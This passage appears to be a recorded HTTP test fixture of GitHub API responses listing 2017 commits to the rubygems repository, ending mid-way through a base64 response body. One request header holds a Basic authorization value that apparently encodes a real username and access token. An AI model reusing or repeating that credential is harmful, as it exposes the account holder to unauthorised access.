appveyor","tree":{"sha":"bbf0cb008763f8511561b3e127bac3e1bfa12a87","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/bbf0cb008763f8511561b3e127bac3e1bfa12a87"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/abada4bccca9b43536acf6090a0946f4e7a2ec30","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/abada4bccca9b43536acf6090a0946f4e7a2ec30","html_url":"https://github.com/rubygems/rubygems/commit/abada4bccca9b43536acf6090a0946f4e7a2ec30","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/abada4bccca9b43536acf6090a0946f4e7a2ec30/comments","author":{"login":"colby-swandale","id":996377,"avatar_url":"https://avatars0.githubusercontent.com/u/996377?v=4","gravatar_id":"","url":"https://api.github.com/users/colby-swandale","html_url":"https://github.com/colby-swandale","followers_url":"https://api.github.com/users/colby-swandale/followers","following_url":"https://api.github.com/users/colby-swandale/following{/other_user}","gists_url":"https://api.github.com/users/colby-swandale/gists{/gist_id}","starred_url":"https://api.github.com/users/colby-swandale/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/colby-swandale/subscriptions","organizations_url":"https://api.github.com/users/colby-swandale/orgs","repos_url":"https://api.github.com/users/colby-swandale/repos","events_url":"https://api.github.com/users/colby-swandale/events{/privacy}","received_events_url":"https://api.github.com/users/colby-swandale/received_events","type":"User","site_admin":false},"committer":{"login":"colby-swandale","id":996377,"avatar_url":"https://avatars0.githubusercontent.com/u/996377?v=4","gravatar_id":"","url":"https://api.github.com/users/colby-swandale","html_url":"https://github.com/colby-swandale","followers_url":"https://api.github.com/users/colby-swandale/followers","following_url":"https://api.github.com/users/colby-swandale/following{/other_user}","gists_url":"https://api.github.com/users/colby-swandale/gists{/gist_id}","starred_url":"https://api.github.com/users/colby-swandale/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/colby-swandale/subscriptions","organizations_url":"https://api.github.com/users/colby-swandale/orgs","repos_url":"https://api.github.com/users/colby-swandale/repos","events_url":"https://api.github.com/users/colby-swandale/events{/privacy}","received_events_url":"https://api.github.com/users/colby-swandale/received_events","type":"User","site_admin":false},"parents":[{"sha":"f89b5b5744c2136d41ffc6cb00d2c299ac32a284","url":"https://api.github.com/repos/rubygems/rubygems/commits/f89b5b5744c2136d41ffc6cb00d2c299ac32a284","html_url":"https://github.com/rubygems/rubygems/commit/f89b5b5744c2136d41ffc6cb00d2c299ac32a284"}]},{"sha":"f905c638fe1e86e049b61e5a87da2ac9b6fb5d3b","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-09-15T05:51:29Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-09-15T05:51:29Z"},"message":"Auto merge of #2012 - rubygems:seg-re-enable-bundler-for-gemdeps, r=hsbt\n\nRe-enable using Bundler for gemdeps\n\n# Description:\n\nSince @hsbt told us that we''re ready to release v2.7 _including the use of Bundler_, we can safely re-enable using Bundler!","tree":{"sha":"c4653dd00b9a39a4aa39de52d452fd4c32295401","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/c4653dd00b9a39a4aa39de52d452fd4c32295401"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/f905c638fe1e86e049b61e5a87da2ac9b6fb5d3b","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/f905c638fe1e86e049b61e5a87da2ac9b6fb5d3b","html_url":"https://github.com/rubygems/rubygems/commit/f905c638fe1e86e049b61e5a87da2ac9b6fb5d3b","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/f905c638fe1e86e049b61e5a87da2ac9b6fb5d3b/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"c17dfa6519b0e35fe025da0d24408486a8765c5e","url":"https://api.github.com/repos/rubygems/rubygems/commits/c17dfa6519b0e35fe025da0d24408486a8765c5e","html_url":"https://github.com/rubygems/rubygems/commit/c17dfa6519b0e35fe025da0d24408486a8765c5e"},{"sha":"a5b99c09fe2d877a96ff967b683070ad8f7e4b8a","url":"https://api.github.com/repos/rubygems/rubygems/commits/a5b99c09fe2d877a96ff967b683070ad8f7e4b8a","html_url":"https://github.com/rubygems/rubygems/commit/a5b99c09fe2d877a96ff967b683070ad8f7e4b8a"}]},{"sha":"c17dfa6519b0e35fe025da0d24408486a8765c5e","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-09-15T00:27:14Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-09-15T00:27:14Z"},"message":"Auto merge of #2011 - rubygems:seg-bundler-spec-default-gem, r=hsbt\n\nAllow the require bundler specs to pass when bundler is installed as a default gem\n\nThis should fix the specs when running against ruby trunk, as the load path that contains bundler no longer ends in `bundler/lib`, as it did when running with `-I bundler/lib` (e.g. its in with the ruby stdlib)","tree":{"sha":"ed43396cca26eeaa0372e82ec848037bbb03cb35","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/ed43396cca26eeaa0372e82ec848037bbb03cb35"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/c17dfa6519b0e35fe025da0d24408486a8765c5e","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/c17dfa6519b0e35fe025da0d24408486a8765c5e","html_url":"https://github.com/rubygems/rubygems/commit/c17dfa6519b0e35fe025da0d24408486a8765c5e","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/c17dfa6519b0e35fe025da0d24408486a8765c5e/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"d74b9a14d7c8930190fe2f0e63c14a5921510164","url":"https://api.github.com/repos/rubygems/rubygems/commits/d74b9a14d7c8930190fe2f0e63c14a5921510164","html_url":"https://github.com/rubygems/rubygems/commit/d74b9a14d7c8930190fe2f0e63c14a5921510164"},{"sha":"7bd3c5ad2928df03ca05888b6cf25b2976b18214","url":"https://api.github.com/repos/rubygems/rubygems/commits/7bd3c5ad2928df03ca05888b6cf25b2976b18214","html_url":"https://github.com/rubygems/rubygems/commit/7bd3c5ad2928df03ca05888b6cf25b2976b18214"}]},{"sha":"a5b99c09fe2d877a96ff967b683070ad8f7e4b8a","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-09-13T22:50:53Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-09-13T22:50:53Z"},"message":"Re-enable using Bundler for gemdeps","tree":{"sha":"cdb6ae8b9b888ed588c1c3d781fb4b7d9a8e9dda","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/cdb6ae8b9b888ed588c1c3d781fb4b7d9a8e9dda"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/a5b99c09fe2d877a96ff967b683070ad8f7e4b8a","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJZubZNAAoJEAEZW7MV3ahWUyEP/jGOSD58r35N455UNMoo1ACg\nHNEjGQR88LLJb2Boa2VYvra58/W2KESRSHHEuhrEjBfRr/CFWZaQuj7S/gzjkt+g\nJsCfvJ09I/jV2gx3Uiwm3FTgwMyc4oU/bIzEOpfMASJP1sjq/N+rrj3oYGNra1QL\n4/0bVky6HVU/lKBo87VISs24q3GvtGku1x7jefW+mtXwqP+20PXi2rceb2gqL+qH\ng5XODo7R5XL603sJ95wQNnBSiU9s4QGAB4FbmCqFAAjxTPjqzSX5/oy7dMaG71j6\ngk/FNOD25f5EgpVmJGtU7+irHMo/BjhP5AobJMUqrGYRrH43oEYsOYkivVbr4CXy\nebm/Eu0xDG1zkC0l2Z14iCAmJVAPnZOAVMGm85MR5Qg1acUG4fbyjqKkZps4NP1F\nHf3dZyI8VWTerUZAYfhInZbTN+8CvXKhCrDO+/E506RK7zl3wuRsBFqcetX7PS15\nLoukuGienIYcqbFa6OcxkexZpY7odK66KtAD+w9TYqSKli4uooDCDW6I8s8HOeAL\nDfrk4eIhtYsy3L3rpT1v9q9nwoxMnoTdOkHwOpwttr5+NB4Rsld81FPwDiGcR/LE\nHQoUrJZh3onX9pvPPJxqjp6GUAI2iEPGN4O5BeztkSkfg92zRsGBLFk/XWYRFBWE\n8t0FAWCsWCPhaFUHdMeE\n=7oyH\n-----END PGP SIGNATURE-----","payload":"tree cdb6ae8b9b888ed588c1c3d781fb4b7d9a8e9dda\nparent d74b9a14d7c8930190fe2f0e63c14a5921510164\nauthor Samuel Giddins 1505343053 -0500\ncommitter Samuel Giddins 1505343053 -0500\n\nRe-enable using Bundler for gemdeps\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/a5b99c09fe2d877a96ff967b683070ad8f7e4b8a","html_url":"https://github.com/rubygems/rubygems/commit/a5b99c09fe2d877a96ff967b683070ad8f7e4b8a","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/a5b99c09fe2d877a96ff967b683070ad8f7e4b8a/comments","author":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"d74b9a14d7c8930190fe2f0e63c14a5921510164","url":"https://api.github.com/repos/rubygems/rubygems/commits/d74b9a14d7c8930190fe2f0e63c14a5921510164","html_url":"https://github.com/rubygems/rubygems/commit/d74b9a14d7c8930190fe2f0e63c14a5921510164"}]},{"sha":"7bd3c5ad2928df03ca05888b6cf25b2976b18214","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-09-12T05:14:26Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-09-12T05:14:31Z"},"message":"Allow the require bundler specs to pass when bundler is installed as a default gem","tree":{"sha":"ed43396cca26eeaa0372e82ec848037bbb03cb35","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/ed43396cca26eeaa0372e82ec848037bbb03cb35"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/7bd3c5ad2928df03ca05888b6cf25b2976b18214","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJZt203AAoJEAEZW7MV3ahWNA8QAJLl/9FZ6pPw+FOq4UIxjK1v\nhegXasyfCVWo3WpBZAbo0cBAO0KCi79V1PSZD3iEktxIMdhvlzvxk5Vh3n3WMriN\n4WmRMI7YK8jEjMkPcsd7hNiwSclf+ZFvjP4BiH9yNgXSnM2pDb9G0BDL3ABLQN22\nu7bjZZhMmktK7E+lr5cledYV9PxXgilCGvMFlsYnmu1gm41HKj5nWMcmIh/CH9uR\nXqkffD7GU51xj8RxffsPOHezrPkIMErWArWWFGElTGBti33HEHmTnS4QJwvB2L6M\nCtTvOtFw9Yb5cvqVERk8xQU4HahkjKNcTBQvWMGPRnw3adv2SlK1KLAPCUXmvAoc\ndw3efem5iyDKLJRr7WB8qDED78B0BtKPeQ384dj0SnsdNCO8Ffos3I9jWfbjPIdz\n6WVxr3AzghFsDDbI6lWT+4M/PpcamBM+Li9rKlV1uc1Xfqsz4vUkA+WrZDpGGxyD\neKFiuCQsdTiHbJ6rpl4S0QuLJWb8bxBD6uIy6vFBqGZJcGNRC78Xpspt1Iswsl2D\nZeqU6sPq0aaMUnlYmOwR3coYz4Gfj4+DKci3v1EvYjv+B3anReY1YxYcZMTsG21m\nIBR2VrN5i7uCfrmYynB9zyTK6Iu5HmWcSxseGd12viNGh57LZilL4SJHYI2uUH+M\noM/5L7m/VfZlZg+9tnic\n=C0iW\n-----END PGP SIGNATURE-----","payload":"tree ed43396cca26eeaa0372e82ec848037bbb03cb35\nparent d74b9a14d7c8930190fe2f0e63c14a5921510164\nauthor Samuel Giddins 1505193266 -0700\ncommitter Samuel Giddins 1505193271 -0700\n\nAllow the require bundler specs to pass when bundler is installed as a default gem\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/7bd3c5ad2928df03ca05888b6cf25b2976b18214","html_url":"https://github.com/rubygems/rubygems/commit/7bd3c5ad2928df03ca05888b6cf25b2976b18214","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/7bd3c5ad2928df03ca05888b6cf25b2976b18214/comments","author":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"d74b9a14d7c8930190fe2f0e63c14a5921510164","url":"https://api.github.com/repos/rubygems/rubygems/commits/d74b9a14d7c8930190fe2f0e63c14a5921510164","html_url":"https://github.com/rubygems/rubygems/commit/d74b9a14d7c8930190fe2f0e63c14a5921510164"}]},{"sha":"d74b9a14d7c8930190fe2f0e63c14a5921510164","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-09-11T18:30:12Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-09-11T18:30:12Z"},"message":"Auto merge of #2006 - rubygems:seg-require-digest, r=segiddins\n\nRequire digest when it is used\n\nThis avoids a potential issue where Gem.activate_bin_path could deadlock, since we''d attempt to activate the digest gem in the middle of activating other gems\n\nThis fixes 8 of the ten issues surfaced at https://travis-ci.org/bundler/bundler/jobs/271910850#L3531","tree":{"sha":"ace94cedcd7fab0b779dda4891ba1aa8bc1cf9bf","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/ace94cedcd7fab0b779dda4891ba1aa8bc1cf9bf"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/d74b9a14d7c8930190fe2f0e63c14a5921510164","comment_count":1,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/d74b9a14d7c8930190fe2f0e63c14a5921510164","html_url":"https://github.com/rubygems/rubygems/commit/d74b9a14d7c8930190fe2f0e63c14a5921510164","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/d74b9a14d7c8930190fe2f0e63c14a5921510164/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"f89b5b5744c2136d41ffc6cb00d2c299ac32a284","url":"https://api.github.com/repos/rubygems/rubygems/commits/f89b5b5744c2136d41ffc6cb00d2c299ac32a284","html_url":"https://github.com/rubygems/rubygems/commit/f89b5b5744c2136d41ffc6cb00d2c299ac32a284"},{"sha":"7b6771997313ce7db40ea761fb929b129a291e7e","url":"https://api.github.com/repos/rubygems/rubygems/commits/7b6771997313ce7db40ea761fb929b129a291e7e","html_url":"https://github.com/rubygems/rubygems/commit/7b6771997313ce7db40ea761fb929b129a291e7e"}]},{"sha":"abe2727c2f6e031534fdf837f412e88dda77bd96","commit":{"author":{"name":"pavel","email":"pavel.rosicky@easy.cz","date":"2017-09-11T18:20:54Z"},"committer":{"name":"pavel","email":"pavel.rosicky@easy.cz","date":"2017-09-11T18:20:54Z"},"message":"spec","tree":{"sha":"e9e2305e9d1e22eed77580f22bacedce9eb644bf","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/e9e2305e9d1e22eed77580f22bacedce9eb644bf"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/abe2727c2f6e031534fdf837f412e88dda77bd96","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/abe2727c2f6e031534fdf837f412e88dda77bd96","html_url":"https://github.com/rubygems/rubygems/commit/abe2727c2f6e031534fdf837f412e88dda77bd96","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/abe2727c2f6e031534fdf837f412e88dda77bd96/comments","author":null,"committer":null,"parents":[{"sha":"3c17302e4e53818b96dd4e50b48d538f6b287fca","url":"https://api.github.com/repos/rubygems/rubygems/commits/3c17302e4e53818b96dd4e50b48d538f6b287fca","html_url":"https://github.com/rubygems/rubygems/commit/3c17302e4e53818b96dd4e50b48d538f6b287fca"}]}]' http_version: recorded_at: Sat, 06 Jan 2018 14:59:33 GMT - request: method: get uri: https://api.github.com/repositories/614070/commits?page=8&per_page=30&since=2017-07-01 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:34 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4624' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"be5a66f36c4eb8676a95cdd3562249e4" Last-Modified: - Mon, 11 Sep 2017 12:54:17 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Link: - ; rel="next", ; rel="last", ; rel="first", ; rel="prev" Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.101024' X-Github-Request-Id: - C41A:4D96:9712F8:13A3081:5A50E455 body: encoding: ASCII-8BIT string: !binary |- W3sic2hhIjoiM2MxNzMwMmU0ZTUzODE4Yjk2ZGQ0ZTUwYjQ4ZDUzOGY2YjI4N2ZjYSIsImNvbW1pdCI6eyJhdXRob3IiOnsibmFtZSI6InBhdmVsIiwiZW1haWwiOiJwYXZlbC5yb3NpY2t5QGVhc3kuY3oiLCJkYXRlIjoiMjAxNy0wOS0xMVQxMjo1NDoxN1oifSwiY29tbWl0dGVyIjp7Im5hbWUiOiJwYXZlbCIsImVtYWlsIjoicGF2ZWwucm9zaWNreUBlYXN5LmN6IiwiZGF0ZSI6IjIwMTctMDktMTFUMTI6NTQ6MTdaIn0sIm1lc3NhZ2UiOiJyZW1vdmUgZ2VtcGF0aCIsInRyZWUiOnsic2hhIjoiNGIzYjM0ZmYwNjE0YTg5YTAzNDY5YWMzMGNkYjYzNGI2NmQ1Y2Y1MSIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L3RyZWVzLzRiM2IzNGZmMDYxNGE4OWEwMzQ2OWFjMzBjZGI2MzRiNjZkNWNmNTEifSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvY29tbWl0cy8zYzE3MzAyZTRlNTM4MThiOTZkZDRlNTBiNDhkNTM4ZjZiMjg3ZmNhIiwiY29tbWVudF9jb3VudCI6MCwidmVyaWZpY2F0aW9uIjp7InZlcmlmaWVkIjpmYWxzZSwicmVhc29uIjoidW5zaWduZWQiLCJzaWduYXR1cmUiOm51bGwsInBheWxvYWQiOm51bGx9fSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzNjMTczMDJlNGU1MzgxOGI5NmRkNGU1MGI0OGQ1MzhmNmIyODdmY2EiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvM2MxNzMwMmU0ZTUzODE4Yjk2ZGQ0ZTUwYjQ4ZDUzOGY2YjI4N2ZjYSIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy8zYzE3MzAyZTRlNTM4MThiOTZkZDRlNTBiNDhkNTM4ZjZiMjg3ZmNhL2NvbW1lbnRzIiwiYXV0aG9yIjpudWxsLCJjb21taXR0ZXIiOm51bGwsInBhcmVudHMiOlt7InNoYSI6ImY4OWI1YjU3NDRjMjEzNmQ0MWZmYzZjYjAwZDJjMjk5YWMzMmEyODQiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvZjg5YjViNTc0NGMyMTM2ZDQxZmZjNmNiMDBkMmMyOTlhYzMyYTI4NCIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC9mODliNWI1NzQ0YzIxMzZkNDFmZmM2Y2IwMGQyYzI5OWFjMzJhMjg0In1dfSx7InNoYSI6IjE3YmE2ZjIyODI5YzRkOTRiYmNjM2M0NjgwMTQ3NDQ5Y2E2ZTA0OWYiLCJjb21taXQiOnsiYXV0aG9yIjp7Im5hbWUiOiJEYXZpZCBSYWRjbGlmZmUiLCJlbWFpbCI6InJhZGNsaWZmZS5kYXZpZEBnbWFpbC5jb20iLCJkYXRlIjoiMjAxNy0wOS0xMVQxMTo1NDoyOFoifSwiY29tbWl0dGVyIjp7Im5hbWUiOiJHaXRIdWIiLCJlbWFpbCI6Im5vcmVwbHlAZ2l0aHViLmNvbSIsImRhdGUiOiIyMDE3LTA5LTExVDExOjU0OjI4WiJ9LCJtZXNzYWdlIjoidXBkYXRlIGdlbSB5YW5rIGRlc2NyaXB0aW9uXG5cbk5vdyB0aGF0IGdlbSB5YW5rIHBlcm1hbmVudGx5IHJlbW92ZXMgdGhlIGdlbSB3ZSBzaG91bGQgbm90IGRpcmVjdCBwZW9wbGUgdG8gY29udGFjdCB1cyB0byByZW1vdmUgYSBnZW0uIiwidHJlZSI6eyJzaGEiOiJiYWUzMGQ3Zjc1ZjhlMmNmNzg5NjY2N2ExM2YzMzliZTI2MGQyZWY0IiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvdHJlZXMvYmFlMzBkN2Y3NWY4ZTJjZjc4OTY2NjdhMTNmMzM5YmUyNjBkMmVmNCJ9LCJ1cmwiOi